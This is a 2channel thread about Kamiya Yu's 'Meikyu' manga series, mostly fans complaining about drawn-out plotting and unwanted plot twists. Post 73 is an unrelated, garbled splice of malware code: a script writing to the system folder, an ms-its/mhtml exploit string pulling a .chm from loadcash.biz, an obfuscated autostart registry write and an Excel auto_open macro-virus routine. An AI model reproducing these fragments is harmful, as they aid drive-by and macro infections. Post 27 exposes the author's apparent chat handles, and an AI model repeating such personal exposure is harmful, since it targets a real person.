★神谷悠★迷宮シリーズ他 7

1 ：06/08/11 〜 最終レス ：11/12/25

別冊花とゆめで迷宮シリーズを連載中の、神谷悠先生の作品について語りましょう。
【前スレ】
★神谷悠★迷宮シリーズ他 6
http://comic6.2ch.net/test/read.cgi/gcomic/1130084236/
過去スレ、関連スレ等は>>2

2 ：

【過去スレ】
☆迷宮スレッド（京＆一平　アキラ＆結城）★
http://comic6.2ch.net/test/read.cgi/gcomic/1064152141/
★神谷悠★迷宮シリーズ　4.5
http://comic.2ch.net/gcomic/kako/1044/10449/1044977328.html
★神谷悠★少女漫画迷宮　4―☆
http://comic.2ch.net/gcomic/kako/1043/10434/1043449313.html
神谷悠・迷宮シリーズ他　No.3
http://comic.2ch.net/gcomic/kako/1037/10375/1037511665.html
神谷悠・迷宮シリーズ他　No.２　
http://comic.2ch.net/gcomic/kako/1000/10006/1000691631.html
神谷悠の迷宮シリーズ
http://mentai.2ch.net/gcomic/kako/961/961316598.html
神の谷の迷宮★☆★
http://salad.2ch.net/gcomic/kako/974/974692468.html
【2ch gcomic 過去ログ倉庫>神谷悠】
http://gcomic2ch.hacca.jp/kamiya/index.html
【関連スレ】
さぁて今号の別冊花とゆめ・ザ花とゆめ4号
http://comic6.2ch.net/test/read.cgi/gcomic/1148892141/

3 ：

乙

4 ：

>1
乙ー。

5 ：

即落ち防止

6 ：

>1乙彼！
なんだかんだ文句を言っても、
やはりかつては好きだった作品で感動したこともあるので
綺麗に終わって欲しいなと思ってます。

7 ：

>>1
モツカレ〜
>>6
禿胴。京には一平の娘をくっつけるような真似をせず、
できるだけ早くすっきり完結してホスィ。

8 ：

>1
乙！！

9 ：

1乙
とりあえず保守

10 ：

折角別花が毎月発行になったんだから毎回迷宮じゃなくて、
交代で違う読みきりとかも描いてくれてもいいのにと思う・・。

11 ：

波みたいに神谷さんのweb日記まで魚血までする気はないが、
別冊出るまでネタが思いつかん。。。

12 ：

保守

13 ：

>>11
同感
ヲチは基本的に面倒だからやらないし
一ヶ月語れる程ネ申展開は望めないだろうし
マジで早く終わらないかな、迷宮…
いい加減シリーズとしての寿命は尽きてるだろうにな
んで次は説教くさくないのキボン

14 ：

作者か主人公がば丸く収まるな

15 ：

…いくら何でも作者氏ねと言わんばかりのその発言は、賛同しかねる。
でもキャラの成長物語ももう限界まで描いているので、
京の明るい未来を予感させるラストシーンさえあれば
無問題なのにねぇ…神谷さん的に何を描きたいのか…？

16 ：

>>14
さすがに、言い過ぎ。慎めよ…
>>15
さぁ〜？全く以てわからない＜描きたい事
自分の萌えの赴くままなんじゃない、って同人誌じゃあるまいしな

17 ：

萌えの内容が面白いならそれでも全然かまわないんだけど
いかんせんﾂﾏﾝﾈ状態だからなぁ…
こんな説教臭い漫画どういう読者層を想定して描いてるのかも掴めないや

18 ：

即死防止

19 ：

保守

20 ：

２０！ヤタ！即死防止クリア〜

21 ：

30じゃなかったっけ？
板によって違ったりするの？

22 ：

>>21
即死判定は板によって違います。
管理側はその情報をオープンにしていないけれども
最近よそのスレの状況やあちこちで会話した結果、
少女漫画板は「20」を超えれば大丈夫だそうです。
dat落ちの判定も甘くなってるのか、1ヵ月半放置されたスレが
なかなか落ちなかったのを目撃しました。

23 ：

ttp://www.hakusensha.co.jp/book-store/magazine/index.html
（白泉社 最新雑誌情報、8/1更新）
現在の神谷さんの雑誌内位置付けの参考になるかな・・・
個人的には予想以上に低いんだが。

24 ：

>>23
ごめん、それで何がわかるのかがわかんないんだけど…
乗ってる順が売り上げ順って事？

25 ：

迷宮は山田の結婚あたりで京、自立で終了するのが一番よかったのにね
もう京にも山田にも伸びしろを感じないから、何がおきても蛇足っぽくて。
いっそキャラを一新して、世界観だけ継承（脇のほうに京なり、山田なりが
いる）した別の迷宮シリーズでもやってくれたほうがましと思うようになった。

26 ：

>24
飛翔みたいだって言いたいのでは？
飛翔は掲載順が後ろに行けば打ち切り候補だから

27 ：

神谷さんが件のゲームのチャットでハジケ中　(、、)ｲｷｲｷｼﾃﾙﾈ
神谷さん本人のハンドルは『天王寺』
神谷さんのゲーム中の恋人のハンドルは『音桜』
http://www.dayan.ne.jp/teachat/chat.cgi
ゲームでアカウントとってないと入室禁止らしい

28 ：

ロムは出来るので神谷さんを生暖かく見守ってきまつ

29 ：

>27
私怨乙

30 ：

>>26
ああそういう意味か…
でも花夢系は飛翔と違って、後ろ=打ち切り候補じゃないでしょ？
魔夜峰央とかずっと後ろだけど、安定した人気と売り上げだし
神谷氏より下はありえないでしょ。
>>27
ヲチはヲチ板でどうぞ。
私怨ならリアルチラシの裏にでも。

31 ：

魔夜さんはジャンプで言えばこち亀の人みたいな特別待遇だと思う
だからといって別花がジャンプと同じ掲載方法だとは限らないけどね

32 ：

「巻末」ってアンケは取れないけど、コミックスは確実に売れる
ベテラン作家の定位置では。
バナナフィッシュとかこれだったな。

33 ：

表紙・巻頭には上っ面だけでもいいから目立つ作品を置くわけで、
別に内容がうすっぺらでも他人のフンドシでもいいのですよねえ。
本当に構成力や実力がある作家は、掲載位置には左右されないから
何番目に載ろうが問題にならないのですけどねえ。

34 ：

実際問題、花夢系の漫画で「こりゃ打ち切りだよ」みたいな終わり方した漫画ってなくない？
10年くらい花夢とララ買ってたけど、記憶にないな
掲載位置で人気の度合いをはかるれるのは、やっぱりジャンプだけなんじゃないのかねえ。

35 ：

うちきりはあるし、最終回が不自然につめこまれてて
いかにも変な作品もあるよ。
雑誌の購買層に人気のある作品は、前の方に掲載されてるよ。
現実見ようよ。

36 ：

>>35
いや、別に現実逃避はしてないよw
買ってた時期の問題かもしれないが、うちきりっぽい作品マジで思い当たらん
自分が興味ない作品流し読みしてるからかもしれないが
人気のある作品が巻頭カラーになるのはわかってるけど
後ろにいったら打ち切りって方式でもないんじゃね？って言いたいだけ
神谷氏の最近の作品がつまんない&人気ないのは否定してないしね。

37 ：

>>34
別花では結構あるよ。打切り。
杜野さんの碧ミレとか潮見さんのブラックアイズとか
面白かったのに強引に終わらされてしまった…

38 ：

どこの雑誌でもやっぱり打切りってあるんじゃないの？
飛翔はそれが極端てだけで。

39 ：

>>37
あ〜、別花は買ってないからわかんなかった。ありが�ｫ
つかまあ、元々は掲載位置の話だったんだけどねw
話そらしちゃってスマン

40 ：

この頃に連載終了していたらなぁと、記事を読んだとき思ったもので。
富士登山：車椅子の２人が登頂　支援の人と
ttp://www.mainichi-msn.co.jp/shakai/wadai/news/20060828k0000m040079000c.html

41 ：

おまいら、次回は２月号で新作読み切りってことは、
「第一部・完」
ですか？

42 ：

もう前スレで叩きたいだけ叩いたからいいや
もう興味無い
勝手に糞みたいな漫画描いていつか終れば？
って思ってるアンチの心情を顕し過疎化

43 ：

>>42
×アンチ
○元ファン
涙……

44 ：

とうとう立ち読みする人すら居なくなったのか…？

45 ：

立ち読みしたよ。
感想
子供がいっぱい出てきた。

46 ：

立ち読みしたけど、さっぱり覚えてない

47 ：

お父さん帰ってきてよかったね（＾＾）
ぐらいしか感想沸かなかった。

48 ：

雑誌買ってるから読むんだけど、最近時系列が本気で理解できない…

49 ：

>27
そのゲームが何なのか全然しらないけど、そのHNからして
神谷さんって天王寺民なのかな？自分も天王寺民だからびびったｗ
神谷さんにはむしろゲームなり旅行なり遊びなりして、引き出し増やして
説教くさくない漫画を描いてほしいわｗ

50 ：

自演みっともない。

51 ：

がんばってるな、神谷さん。
でも昭和絵でヤオイはちょっと…
http://manngasann.hp.infoseek.co.jp/icha.JPG
http://manngasann.hp.infoseek.co.jp/sekkinn.JPG
http://manngasann.hp.infoseek.co.jp/asa.JPG
http://manngasann.hp.infoseek.co.jp/kawaasobi1.JPG
http://manngasann.hp.infoseek.co.jp/kawaasobi2.JPG
http://manngasann.hp.infoseek.co.jp/omutu.JPG
http://manngasann.hp.infoseek.co.jp/juuni.JPG
http://manngasann.hp.infoseek.co.jp/omikuji.JPG

52 ：

いつもの人キター

53 ：

迷宮の今の展開は嫌いで、ぶっちゃけ早く連載終わって欲しいと思うけど、
私怨の晒しに付き合う気はないんだよな。

54 ：

展開なんてしてない気が。
ひたすら続きそうで嫌だ。

55 ：

登場人物が年をとらない設定ならともかく、
このまま一平に第二子やら孫やらできるまで
続けられるとちょっと嫌だなぁ。

56 ：

私怨に付き合う気はないのに同意だが、つい見てしまった1番目の絵が怖かった
身体ドコー？！
は、さておき。
そんなに続いたらマジで今持ってる単行本も売り払う＜孫子の時代まで

57 ：

>>50
私は自演じゃないぞｗ（27の人と思われてるんだよね？）
本当に天王寺民だから気になっただけ。
まぁ神谷さんがどこに住んでてもいいんだけど（見かけても分かんないし）
そして最近は立ち読みどころかコミックスすらしばらく買ってない。
砂迷宮からはまって、何年もかなり夢中になったんだけどな･･･微妙に寂しい。

58 ：

( ´_ゝ`)

59 ：

最近神谷さんがN間化しているようで悲しい…。
＠田にN間が来て「新○○ﾙｹﾞｰﾑ」として連載が再開した時には
驚愕でした。人気が出たシリーズでしか、漫画が描けないほど
人気がない＆本人も作れない状況になってしまったのでしょうか…orz

60 ：

>>59
言ってることはわかるが（かなしいことに）
個人的記号化しすぎだろｗｗ
それにそのレスはむしろ
http://comic6.2ch.net/test/read.cgi/gcomic/1153182376/
ここに書くべきものではないのかと。

61 ：

>>60
言葉足りなかった？
ラスト一行の＞人気が出たシリーズでしか、漫画が描けないほど
人気がない＆本人も作れない の部分は、
神谷さんに向けての意味もあるつもりなんだけど。

62 ：

記号化うっとおしいからﾔﾒﾚ。
59の文章では野間の事に対してしか言ってないように見えるよ
最近の迷宮の話の展開には私もついていけないが
なんかここ私怨ポイ人がいない？画像直リンしたりしてるし…

63 ：

ポイっつうか、そのものな人が居ついちゃってる。

64 ：

私怨つーか、粘着な人が一人いる模様。
文章独特だからすぐ分かるyo。
一応雑誌も読んでる派なんだけど、ここで感想書き込む気にはなれない…。

65 ：

一平の結婚で「ああ、迷宮が終わっちゃう…」と思っていた、あの頃。
今となっては終わってくれた方が良かったorz

66 ：

私はこのみさん米国行きで（ｒｙ
本当にこの時終わってくれていたら傑作だったのにな…

67 ：

終わらないで欲しいと思っている間に終わるのが一番いいんだろうね。

68 ：

迷宮って、まだ続いてたのか…

69 ：

最近だと惜しまれつつ終わった作品ですら再開して
「なぜ再び現れたんだ…orz」
というものも多いけどね…

70 ：

少女漫画だとぼく地球、少年漫画だと北斗、リンかけとかか…

71 ：

河惣さんも…
ダラダラ続いてるか、一旦きれいに終わった作品の番外編とか別花は多いね。
ある程度の売り上げが見込めるから仕方ないんだろうけど。

72 ：

別花に多いというか・・・
今の漫画はそれが多すぎだと思う。
飛翔なんか別の出版社に移っただけで
似たようなの書いてるし。
番外編ってしてるだけでまだマシな気もする。。。

73 ：

Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
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"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

74 ：

まあ全くの新人とかに連載させたりするよりは
リスクが少ないもんね
出版社氷河期なこの時代、仕方ない気はする
ベルばらが人気ありすぎて次作にキャラ続投させられた例もある
問題は質が落ちまくってる事だよな

75 ：

アキラと結城のBL紛いも我慢して読んでたが、左京絡みの超展開にはさすがに引いた。
あれから雑誌も買ってない。
さっくり終わってりゃ、こんな悲惨な事にはならなかったのに…

76 ：

結城とアキラの超展開の彼女ないがしろさに吐き気がして
それまで我慢してたのが全てダメになったわけだが
京と一平が気になって情報だけは集めてたんだが
左京のネタ聞いて唖然としたよ…orz
良作（極初期だけだが）を駄作以下に自分で貶めてどうするんだ…

77 ：

左京絡みもそうなんだけど
山田と京が子供のころに会ってました…ってのもなんかイヤ。

78 ：

>>75-77
ほぼ全面的に同意
ただ中期にも良作はいくつかあったと思ってるけどね。
いずれにしても今は……（涙
ああ。未練がましいなあ……

79 ：

子供の頃に会ってましたってのは長く続くシリーズ物なら
一度はやるネタなので仕方ない部分もあるのかもしれない。
が、左京ネタはいただけない。

80 ：

確かに常套ネタではある。でもやっぱり萎えるんだが。
同じように萎えるのは、普通の家の子なのにすごい才能を持っていると思っていたキャラが、
実はすごい才能のあるヤツの隠し子だったりするネタ（幽白の幽助とか他にも色々）。
京もなあ………………

81 ：

京は元々おぼっちゃまくん設定では？
子供の頃会ってた話はもっと早くにやってれば
最初からそういう設定だったのかも、と思えるけど
さんざん話が進んでから描かれると、ああネタ切れか、としか思えん

82 ：

「おぼっちゃま（やや変形だけど）」設定はまあ比較的初期からだが、
左京との「血縁」で推理力を説明しようとしてるよな気がする。
むしろ逆か、左京がキレるのは京のオヤだから、とか……（||ーー;）

83 ：

子供の頃会ってましたネタは同人誌なんかで
ファンがよくやる素人でも思いつくネタなんだけど
それを作者本人がやっちゃってるのかなんかイヤ…
こういうのはもしそうならいいねって話であって
本当にそうだとご都合主義ここに極まれりって感じ

84 ：

つーか、責任転嫁するつもりはないけど
編集の人とかは気にならないのかな、この超展開…
新しいシリーズとかやられるよりはマシと思ってるのか
人の話聞かないから諦めてるのか
編集も元設定忘れててどーでもいーのか
止めてあげればいいのに、そこまで思い入れもないんだろうかやはり

85 ：

引き延ばしているのはむしろ編集の方だと思うけど。
コミックスが売れるんならいくらでも続けさせるでしょう。
ツーリングしかりボク地球の続編しかり。

86 ：

編集と神谷さんの利害が一致してる感じ
お互いに面白い作品作ろうって情熱はもうないんだろうな・・・

87 ：

最近は出版社・編集共に漫画家を育てたりする雰囲気を感じないから、
神谷さんがそこそこの作品が描けるうちは現状維持で、ダメになったら
ポイ捨てされそうな希ガス。
神谷さん自身もヌルい空気に浸って、新しく作品を作る気概が
無くなってしまったのかなぁ？

88 ：

やっぱそうなのか…
てか、ツーリングとかぼく地球とかみたいな
コアなファンのいる作家でもないと思うんだけど
それでも売れるのかね、コミクス

89 ：

75同様でもう雑誌買ってないし、それ以降に出た文庫ももう買う気がしない……
以前に買ってたコミックスや文庫については、どこまでを売るか、全部売るかを考え中。

90 ：

>>89
考えるだけ、愛があるじゃないかw
自分は我慢していた反動か、超展開直後に全部ブコフに持ってったよ

91 ：

まあ、みんなの願い通り休載している訳で。
それとも神懸った最終回を望んでいるかい？
ってこれじゃまるで漏れ作者乙。

92 ：

自分は神懸かった最終回なんて望んでないよ
もうこれ以上昔の作品まで汚す設定返しをしないで
無難な最終回描いてくれたらそれでいい

93 ：

無難でいいよね、無難でさ…

94 ：

そうだね。無難が一番だよね。
いきなり十数年後になって、山田娘と京の結婚式とか見せられたら泣く…

95 ：

>>94
すごい事考えちゃった。
山田夫妻（または山田単独、もしくは父子）　綾小路家資産乗っ取り計画・・・
一見人柄が良い人に限ってって言うもんね・・・
うわー!!　自分の思考がいやだぁ〜

96 ：

悪いけど、あんまし面白くない。
過去にちょっとでも伏線が張られてないと、そういうのは「……はあ〜っ？」
てことになるのよ。左京パパ説が出た今の状況がそうでしょう。
可愛いけどさ。中学生？

97 ：

まぁ、>95は冗談でしょ。
山田の性格変えちゃったら、それこそこれまでの話を全否定なわけだしね。
>94の山田娘と京の結婚式はね…
超展開でプロポーズしちゃってるしね…
ある意味、山田と出会って過ごして来たことが山田娘とハッピーエンドを迎える
伏線と言えなくもないけれど、激しく嫌だ。
コミックスのおまけで成長した娘と京を描こうとした所から、作者がこのカップリングに
萌えてそうなところがへこむわ。

98 ：

ある意味アキラ達より地雷カプだよ…

99 ：

うん。私はアキラと結城は
いずれくっつきます宣言があったから気にならなかったけど、
これだけは本当に気持ち悪い。

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